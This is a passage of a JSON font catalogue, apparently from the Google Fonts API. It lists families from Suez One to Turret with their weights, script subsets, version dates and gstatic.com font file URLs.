One","variants":["regular"],"subsets":["hebrew","latin","latin-ext"],"version":"v5","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/suezone/v5/taiJGmd_EZ6rqscQgNFJkIqg-I0w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sulphur Point","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/sulphurpoint/v2/RLpkK5vv8KaycDcazWFPBj2afVU6n6kFUHPIFaU.ttf","regular":"http://fonts.gstatic.com/s/sulphurpoint/v2/RLp5K5vv8KaycDcazWFPBj2aRfkSu6EuTHo.ttf","700":"http://fonts.gstatic.com/s/sulphurpoint/v2/RLpkK5vv8KaycDcazWFPBj2afUU9n6kFUHPIFaU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sumana","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sumana/v5/4UaDrE5TqRBjGj-G8Bji76zR4w.ttf","700":"http://fonts.gstatic.com/s/sumana/v5/4UaArE5TqRBjGj--TDfG54fN6ppsKg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sunflower","variants":["300","500","700"],"subsets":["korean","latin"],"version":"v9","lastModified":"2019-07-16","files":{"300":"http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-06MfiqYsGBGBzCw.ttf","500":"http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0sMbiqYsGBGBzCw.ttf","700":"http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0-MDiqYsGBGBzCw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sunshiney","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sunshiney/v11/LDIwapGTLBwsS-wT4vcgE8moUePWkg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Supermercado One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/supermercadoone/v10/OpNXnpQWg8jc_xps_Gi14kVVEXOn60b3MClBRTs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sura","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sura/v5/SZc23FL5PbyzFf5UWzXtjUM.ttf","700":"http://fonts.gstatic.com/s/sura/v5/SZc53FL5PbyzLUJ7fz3GkUrS8DI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Suranna","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/suranna/v8/gokuH6ztGkFjWe58tBRZT2KmgP0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Suravaram","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/suravaram/v8/_gP61R_usiY7SCym4xIAi261Qv9roQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Suwannaphum","variants":["regular"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/suwannaphum/v14/jAnCgHV7GtDvc8jbe8hXXIWl_8C0Wg2V.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Swanky and Moo Moo","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/swankyandmoomoo/v10/flUlRrKz24IuWVI_WJYTYcqbEsMUZ3kUtbPkR64SYQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Syncopate","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/syncopate/v12/pe0sMIuPIYBCpEV5eFdyAv2-C99ycg.ttf","700":"http://fonts.gstatic.com/s/syncopate/v12/pe0pMIuPIYBCpEV5eFdKvtKaA_Rue1UwVg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Syne","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_04uT6kR47NCV5Z.ttf","500":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_0KuT6kR47NCV5Z.ttf","600":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_3mvj6kR47NCV5Z.ttf","700":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_3fvj6kR47NCV5Z.ttf","800":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_24vj6kR47NCV5Z.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Syne Mono","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/synemono/v1/K2FzfZNHj_FHBmRbFvHzIqCkDyvqZA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Syne Tactile","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/synetactile/v1/11hGGpna2UTQKjMCVzjAPMKh3ysdjvKU8Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Tajawal","variants":["200","300","regular","500","700","800","900"],"subsets":["arabic","latin"],"version":"v3","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l_6gLrZjiLlJ-G0.ttf","300":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5qjLrZjiLlJ-G0.ttf","regular":"http://fonts.gstatic.com/s/tajawal/v3/Iura6YBj_oCad4k1rzaLCr5IlLA.ttf","500":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l8KiLrZjiLlJ-G0.ttf","700":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l4qkLrZjiLlJ-G0.ttf","800":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5anLrZjiLlJ-G0.ttf","900":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l7KmLrZjiLlJ-G0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tangerine","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/tangerine/v12/IurY6Y5j_oScZZow4VOBDpxNhLBQ4Q.ttf","700":"http://fonts.gstatic.com/s/tangerine/v12/Iurd6Y5j_oScZZow4VO5srNpjJtM6G0t9w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Taprom","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/taprom/v12/UcCn3F82JHycULbFQyk3-0kvHg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Tauri","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tauri/v9/TwMA-IISS0AM3IpVWHU_TBqO.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Taviraj","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/taviraj/v6/ahcbv8Cj3ylylTXzRIorV8N1jU2gog.ttf","100italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcdv8Cj3ylylTXzTOwTM8lxr0iwolLl.ttf","200":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRCYKd-lbgUS5u0s.ttf","200italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwTn-hRhWa8q0v8ag.ttf","300":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzREIJd-lbgUS5u0s.ttf","300italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT--tRhWa8q0v8ag.ttf","regular":"http://fonts.gstatic.com/s/taviraj/v6/ahcZv8Cj3ylylTXzfO4hU-FwnU0.ttf","italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcbv8Cj3ylylTXzTOwrV8N1jU2gog.ttf","500":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRBoId-lbgUS5u0s.ttf","500italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwTo-pRhWa8q0v8ag.ttf","600":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRDYPd-lbgUS5u0s.ttf","600italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwTj-1RhWa8q0v8ag.ttf","700":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRFIOd-lbgUS5u0s.ttf","700italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT6-xRhWa8q0v8ag.ttf","800":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRE4Nd-lbgUS5u0s.ttf","800italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT9-9RhWa8q0v8ag.ttf","900":"http://fonts.gstatic.com/s/taviraj/v6/ahccv8Cj3ylylTXzRGoMd-lbgUS5u0s.ttf","900italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcev8Cj3ylylTXzTOwT0-5RhWa8q0v8ag.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Teko","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdQhfgCNqqVIuTN4.ttf","regular":"http://fonts.gstatic.com/s/teko/v10/LYjNdG7kmE0gTaR3pCtBtVs.ttf","500":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdVBegCNqqVIuTN4.ttf","600":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdXxZgCNqqVIuTN4.ttf","700":"http://fonts.gstatic.com/s/teko/v10/LYjCdG7kmE0gdRhYgCNqqVIuTN4.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Telex","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/telex/v9/ieVw2Y1fKWmIO9fTB1piKFIf.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tenali Ramakrishna","variants":["regular"],"subsets":["latin","telugu"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tenaliramakrishna/v7/raxgHj6Yt9gAN3LLKs0BZVMo8jmwn1-8KJXqUFFvtA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tenor Sans","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/tenorsans/v12/bx6ANxqUneKx06UkIXISr3JyC22IyqI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Text Me One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/textmeone/v8/i7dOIFdlayuLUvgoFvHQFWZcalayGhyV.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Texturina","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-11-20","files":{"100":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2eYG_Ug25riW1OD.ttf","200":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2cYGvUg25riW1OD.ttf","300":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2fGGvUg25riW1OD.ttf","regular":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2eYGvUg25riW1OD.ttf","500":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2eqGvUg25riW1OD.ttf","600":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2dGHfUg25riW1OD.ttf","700":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2d_HfUg25riW1OD.ttf","800":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2cYHfUg25riW1OD.ttf","900":"http://fonts.gstatic.com/s/texturina/v2/c4mM1nxpEtL3pXiAulRTkY-HGmNEX1b9NspjMwhAgliHhVrXy2cxHfUg25riW1OD.ttf","100italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWR1i0Z7AXkODN94.ttf","200italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWZ1j0Z7AXkODN94.ttf","300italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWUNj0Z7AXkODN94.ttf","italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWR1j0Z7AXkODN94.ttf","500italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWS9j0Z7AXkODN94.ttf","600italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWcNk0Z7AXkODN94.ttf","700italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWfpk0Z7AXkODN94.ttf","800italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWZ1k0Z7AXkODN94.ttf","900italic":"http://fonts.gstatic.com/s/texturina/v2/c4mO1nxpEtL3pXiAulR5mL129FhZmLj7I4oiSUJyfYDu7sB5zHJQWbRk0Z7AXkODN94.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Thasadith","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/thasadith/v4/mtG44_1TIqPYrd_f5R1YsEkU0CWuFw.ttf","italic":"http://fonts.gstatic.com/s/thasadith/v4/mtG-4_1TIqPYrd_f5R1oskMQ8iC-F1ZE.ttf","700":"http://fonts.gstatic.com/s/thasadith/v4/mtG94_1TIqPYrd_f5R1gDGYw2A6yHk9d8w.ttf","700italic":"http://fonts.gstatic.com/s/thasadith/v4/mtGj4_1TIqPYrd_f5R1osnus3QS2PEpN8zxA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"The Girl Next Door","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/thegirlnextdoor/v11/pe0zMJCIMIsBjFxqYBIcZ6_OI5oFHCYIV7t7w6bE2A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Tienne","variants":["regular","700","900"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tienne/v13/AYCKpX7pe9YCRP0LkEPHSFNyxw.ttf","700":"http://fonts.gstatic.com/s/tienne/v13/AYCJpX7pe9YCRP0zLGzjQHhuzvef5Q.ttf","900":"http://fonts.gstatic.com/s/tienne/v13/AYCJpX7pe9YCRP0zFG7jQHhuzvef5Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Tillana","variants":["regular","500","600","700","800"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tillana/v6/VuJxdNvf35P4qJ1OeKbXOIFneRo.ttf","500":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQFL-HIlMZRNcp0o.ttf","600":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQH75HIlMZRNcp0o.ttf","700":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQBr4HIlMZRNcp0o.ttf","800":"http://fonts.gstatic.com/s/tillana/v6/VuJ0dNvf35P4qJ1OQAb7HIlMZRNcp0o.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Timmana","variants":["regular"],"subsets":["latin","telugu"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/timmana/v5/6xKvdShfL9yK-rvpCmvbKHwJUOM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tinos","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","hebrew","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/tinos/v15/buE4poGnedXvwgX8dGVh8TI-.ttf","italic":"http://fonts.gstatic.com/s/tinos/v15/buE2poGnedXvwjX-fmFD9CI-4NU.ttf","700":"http://fonts.gstatic.com/s/tinos/v15/buE1poGnedXvwj1AW0Fp2i43-cxL.ttf","700italic":"http://fonts.gstatic.com/s/tinos/v15/buEzpoGnedXvwjX-Rt1s0CoV_NxLeiw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Titan One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/titanone/v8/mFTzWbsGxbbS_J5cQcjykzIn2Etikg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Titillium Web","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-10","files":{"200":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffAzHKIx5YrSYqWM.ttf","200italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbewI1zZpaduWMmxA.ttf","300":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffGjEKIx5YrSYqWM.ttf","300italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbepI5zZpaduWMmxA.ttf","regular":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPecZTIAOhVxoMyOr9n_E7fRMTsDIRSfr0.ttf","italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPAcZTIAOhVxoMyOr9n_E7fdMbmCKZXbr2BsA.ttf","600":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffBzCKIx5YrSYqWM.ttf","600italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbe0IhzZpaduWMmxA.ttf","700":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffHjDKIx5YrSYqWM.ttf","700italic":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPFcZTIAOhVxoMyOr9n_E7fdMbetIlzZpaduWMmxA.ttf","900":"http://fonts.gstatic.com/s/titilliumweb/v9/NaPDcZTIAOhVxoMyOr9n_E7ffEDBKIx5YrSYqWM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tomorrow","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v3","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/tomorrow/v3/WBLgrETNbFtZCeGqgR2xe2XiKMiokE4.ttf","100italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLirETNbFtZCeGqgRXXQwHoLOqtgE5h0A.ttf","200":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR0dWkXIBsShiVd4.ttf","200italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ63JDMCDjEd4yVY.ttf","300":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR15WUXIBsShiVd4.ttf","300italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ8nKDMCDjEd4yVY.ttf","regular":"http://fonts.gstatic.com/s/tomorrow/v3/WBLmrETNbFtZCeGqgSXVcWHALdio.ttf","italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLgrETNbFtZCeGqgRXXe2XiKMiokE4.ttf","500":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR0hWEXIBsShiVd4.ttf","500italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ5HLDMCDjEd4yVY.ttf","600":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR0NX0XIBsShiVd4.ttf","600italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ73MDMCDjEd4yVY.ttf","700":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR1pXkXIBsShiVd4.ttf","700italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ9nNDMCDjEd4yVY.ttf","800":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR11XUXIBsShiVd4.ttf","800italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ8XODMCDjEd4yVY.ttf","900":"http://fonts.gstatic.com/s/tomorrow/v3/WBLhrETNbFtZCeGqgR1RXEXIBsShiVd4.ttf","900italic":"http://fonts.gstatic.com/s/tomorrow/v3/WBLjrETNbFtZCeGqgRXXQ-HPDMCDjEd4yVY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Trade Winds","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/tradewinds/v10/AYCPpXPpYNIIT7h8-QenM3Jq7PKP5Z_G.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Trirong","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/trirong/v6/7r3EqXNgp8wxdOdOl-go3YRl6ujngw.ttf","100italic":"http://fonts.gstatic.com/s/trirong/v6/7r3CqXNgp8wxdOdOn44QuY5hyO33g8IY.ttf","200":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOl0QJ_a5L5uH-mts.ttf","200italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QFa9B4sP7itsB5g.ttf","300":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlyAK_a5L5uH-mts.ttf","300italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QcaxB4sP7itsB5g.ttf","regular":"http://fonts.gstatic.com/s/trirong/v6/7r3GqXNgp8wxdOdOr4wi2aZg-ug.ttf","italic":"http://fonts.gstatic.com/s/trirong/v6/7r3EqXNgp8wxdOdOn44o3YRl6ujngw.ttf","500":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOl3gL_a5L5uH-mts.ttf","500italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QKa1B4sP7itsB5g.ttf","600":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOl1QM_a5L5uH-mts.ttf","600italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QBapB4sP7itsB5g.ttf","700":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlzAN_a5L5uH-mts.ttf","700italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QYatB4sP7itsB5g.ttf","800":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlywO_a5L5uH-mts.ttf","800italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QfahB4sP7itsB5g.ttf","900":"http://fonts.gstatic.com/s/trirong/v6/7r3DqXNgp8wxdOdOlwgP_a5L5uH-mts.ttf","900italic":"http://fonts.gstatic.com/s/trirong/v6/7r3BqXNgp8wxdOdOn44QWalB4sP7itsB5g.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Trispace","variants":["100","200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-10-22","files":{"100":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbH9qoQl0zHugpt0.ttf","200":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbP9roQl0zHugpt0.ttf","300":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbCFroQl0zHugpt0.ttf","regular":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbH9roQl0zHugpt0.ttf","500":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbE1roQl0zHugpt0.ttf","600":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbKFsoQl0zHugpt0.ttf","700":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbJhsoQl0zHugpt0.ttf","800":"http://fonts.gstatic.com/s/trispace/v1/Yq65-LKSQC3o56LxxgRrtA6yBqsrXL5GI5KI-IUZVGsxWFIlbP9soQl0zHugpt0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Trocchi","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/trocchi/v9/qWcqB6WkuIDxDZLcDrtUvMeTYD0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Trochut","variants":["regular","italic","700"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/trochut/v8/CHyjV-fDDlP9bDIw5nSIfVIPLns.ttf","italic":"http://fonts.gstatic.com/s/trochut/v8/CHyhV-fDDlP9bDIw1naCeXAKPns8jw.ttf","700":"http://fonts.gstatic.com/s/trochut/v8/CHymV-fDDlP9bDIw3sinWVokMnIllmA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Trykker","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/trykker/v9/KtktALyWZJXudUPzhNnoOd2j22U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Tulpen One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tulpenone/v10/dFa6ZfeC474skLgesc0CWj0w_HyIRlE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Turret 